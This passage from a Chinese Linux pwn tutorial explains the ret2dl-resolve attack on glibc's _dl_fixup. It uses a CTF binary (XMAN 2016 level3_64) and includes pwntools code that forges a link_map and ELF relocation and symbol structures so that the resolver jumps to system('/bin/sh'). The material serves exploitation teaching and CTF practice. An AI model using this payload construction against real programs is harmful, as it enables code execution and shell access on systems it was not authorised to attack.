　　在前面的源码分析中，我们主要把目光集中在未解析过的函数在_dl_fixup的流程中而忽略了另外一个分支。

_dl_fixup (　　# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
　　ELF_MACHINE_RUNTIME_FIXUP_ARGS,
　　# endif
　　struct link_map *l, ElfW(Word)>
　　{
　　………… //变量定义，初始化等等
　　if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) //判断函数是否被解析过。此前我们一直利用未解析过的函数的结构体，所以这里的if始终成立
　　…………
　　result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
　　version, ELF_RTYPE_CLASS_PLT, flags, NULL);
　　…………
　　}
　　else
　　{
　　/* We already found the symbol.  The module (and therefore its load
　　address) is also known.  */
　　value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
　　result = l;
　　}
　　…………
　　}

　　通过注释我们可以看到之前的if起的是判断函数是否被解析过的作用，如果函数被解析过，_dl_fixup就不会调用_dl_lookup_symbol_x对函数进行重定位，而是直接通过宏DL_FIXUP_MAKE_VALUE计算出结果。这边用到了link_map的成员变量l_addr和Elf32/64_Sym的成员变量st_value。这里的l_addr是实际映射地址和原来指定的映射地址的差值，st_value根据对应节的索引值有不同的含义。不过在这里我们并不需要关心那么多，我们只需要知道如果我们能使l->l_addr + sym->st_value指向一个函数的在内存中的实际地址，那么我们就能返回到这个函数上。但是问题来了，如果我们知道了system在内存中的实际地址，我们何苦用那么麻烦的方式跳转到system上呢？所以答案是我们不知道。我们需要做的是让l->l_addr和sym->st_value其中之一落在got表的某个已解析的函数上（如__libc_start_main），而另一个则设置为system函数和这个函数的偏移值。既然我们都伪造了link_map，那么显然l_addr是我们可以控制的，而sym根据我们的源码分析，它的值最终也是从link_map中获得的（很多节区地址，包括.rel.plt, .dynsym, dynstr都是从中取值，更多细节可以对比调试时的link_map数据与源码进行学习）

const ElfW(Sym) *const symtab　　= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
　　const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
　　const PLTREL *const>
　　= (const void *) (D_PTR (l, l_info[DT_JMPREL]) +>
　　const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];

　　所以这两个值我们都可以进行伪造。此时只要我们知道libc的版本，就能算出system与已解析函数之间的偏移了。
　　说到这里可能有人会想到，既然伪造的link_map那么厉害，那么我们为什么不在前面的dl-resolve中直接伪造出.dynstr的地址，而要通过一条冗长的求值链返回到system呢？我们来看一下上面的这行代码

      result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,　　version, ELF_RTYPE_CLASS_PLT, flags, NULL);

　　根据位于glibc/include/Link.h中的link_map结构体定义，这里的l_scope是一个当前link_map的查找范围数组。我们从link_map结构体的定义可以看出来其实这是一个双链表，每一个link_map元素都保存了一个函数库的信息。当查找某个符号的时候，实际上是通过遍历整个双链表，在每个函数库中进行的查询。显然，我们不可能知道libc的link_map地址，所以我们没办法伪造l_scope，也就没办法伪造整个link_map使流程进入_dl_lookup_symbol_x，只能选择让流程进入“函数已被解析过”的分支。
　　回到主题，我们为了让函数流程绕过_dl_lookup_symbol_x，必须伪造sym使得ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0，根据sym的定义，我们就得伪造symtab和reloc->r_info，所以我们得伪造DT_SYMTAB, DT_JMPREL，此外，我们得伪造strtab为可读地址，所以还得伪造DT_STRTAB，所以我们需要伪造link_map前0xf8个字节的数据，需要关注的分别是位于link_map+0的l_addr，位于link_map+0×68的DT_STRTAB指针，位于link_map+0×70的DT_SYMTAB指针和位于link_map+0xF8的DT_JMPREL指针。此外，我们需要伪造Elf64_Sym结构体，Elf64_Rela结构体，由于DT_JMPREL指向的是Elf64_Dyn结构体，我们也需要伪造一个这样的结构体。当然，我们得让reloc_offset为0.为了伪造的方便，我们可以选择让l->l_addr为已解析函数内存地址和system的偏移，sym->st_value为已解析的函数地址的指针-8，即其got表项-8。(这部分在源码中似乎并没有体现出来，但是调试的时候发现实际上会+8，原因不明)我们还是以~/XMAN 2016-level3_64/level3_64为例进行分析。
　　首先我们来构造一个fake link_map

fake_link_map_data = ""　　fake_link_map_data += p64(offset)                        # +0x00 l_addr offset = system - __libc_start_main
　　fake_link_map_data += '\x00'*0x60
　　fake_link_map_data += p64(DT_STRTAB)                #+0x68 DT_STRTAB
　　fake_link_map_data += p64(DT_SYMTAB)                #+0x70 DT_SYMTAB
　　fake_link_map_data += '\x00'*0x80
　　fake_link_map_data += p64(DT_JMPREL)                #+0xf8 DT_JMPREL
　　后面的link_map数据由于我们用不上就不构造了。根据我们的分析，我们留出来四个8字节数据区用来填充相应的数据，其他部分都置为0.
　　接下来我们伪造出三个结构体
　　fake_Elf64_Dyn = ""
　　fake_Elf64_Dyn += p64(0)                                #d_tag
　　fake_Elf64_Dyn += p64(0)                                #d_ptr
　　fake_Elf64_Rela = ""
　　fake_Elf64_Rela += p64(0)                                #r_offset
　　fake_Elf64_Rela += p64(7)                                #r_info
　　fake_Elf64_Rela += p64(0)                                 #r_addend
　　fake_Elf64_Sym = ""
　　fake_Elf64_Sym += p32(0)                                 #st_name
　　fake_Elf64_Sym += 'AAAA'                                #st_info, st_other, st_shndx
　　fake_Elf64_Sym += p64(main_got-8)         #st_value
　　fake_Elf64_Sym += p64(0)                                 #st_size

　　显然我们必须把r_info设置为7以通过检查。为了使ELFW(ST_VISIBILITY) (sym->st_other)不为0从而躲过_dl_lookup_symbol_x，我们直接把st_other设置为非0.st_other也必须为非0以避开_dl_lookup_symbol_x，进入我们希望要的分支。
　　我们注意到fake_link_map中间有许多用\x00填充的空间，这些地方实际上写啥都不影响我们的攻击，因此我们充分利用空间，把三个结构体跟/bin/sh\x00也塞进去

offset = 0x253a0 #system - __libc_start_main　　fake_Elf64_Dyn = ""
　　fake_Elf64_Dyn += p64(0)                                                                #d_tag                从link_map中找.rel.plt不需要用到标签， 随意设置
　　fake_Elf64_Dyn += p64(fake_link_map_addr + 0x18)                #d_ptr                指向伪造的Elf64_Rela结构体，由于reloc_offset也被控制为0，不需要伪造多个结构体
　　fake_Elf64_Rela = ""
　　fake_Elf64_Rela += p64(fake_link_map_addr - offset)                #r_offset        rel_addr = l->addr+reloc_offset，直接指向fake_link_map所在位置令其可读写就行
　　fake_Elf64_Rela += p64(7)                                                                #r_info                index设置为0，最后一字节必须为7
　　fake_Elf64_Rela += p64(0)                                                                #r_addend        随意设置
　　fake_Elf64_Sym = ""
　　fake_Elf64_Sym += p32(0)                                                                #st_name        随意设置
　　fake_Elf64_Sym += 'AAAA'                                                                #st_info, st_other, st_shndx st_other非0以避免进入重定位符号的分支
　　fake_Elf64_Sym += p64(main_got-8)                                                #st_value        已解析函数的got表地址-8，-8体现在汇编代码中，原因不明
　　fake_Elf64_Sym += p64(0)                                                                #st_size        随意设置
　　fake_link_map_data = ""
　　fake_link_map_data += p64(offset)                        #l_addr，伪造为两个函数的地址偏移值
　　fake_link_map_data += fake_Elf64_Dyn
　　fake_link_map_data += fake_Elf64_Rela
　　fake_link_map_data += fake_Elf64_Sym
　　fake_link_map_data += '\x00'*0x20
　　fake_link_map_data += p64(fake_link_map_addr)                #DT_STRTAB        设置为一个可读的地址
　　fake_link_map_data += p64(fake_link_map_addr + 0x30)#DT_SYMTAB        指向对应结构体数组的地址
　　fake_link_map_data += "/bin/sh\x00"                                       
　　fake_link_map_data += '\x00'*0x78
　　fake_link_map_data += p64(fake_link_map_addr + 0x8)        #DT_JMPREL        指向对应数组结构体的地址

　　现在我们需要做的就是栈劫持，伪造参数跳转到_dl_fixup了。前两者好说，_dl_fixup地址也在got表中的第2项。但是问题是这是一个保存了函数地址的地址，我们没办法放在栈上用ret跳过去，难道要再用一次万能gadgets吗？不，我们可以选择这个

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

把这行指令地址放到栈上，用ret就可以跳进_fix_up.现在我们需要的东西都齐了，只要把它们组装起来，pwn it!

Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

阅读原文即可下载课后练习题和例题~原文地址：Linux pwn入门教程(10)——针对函数重定位流程的几种攻击专栏

---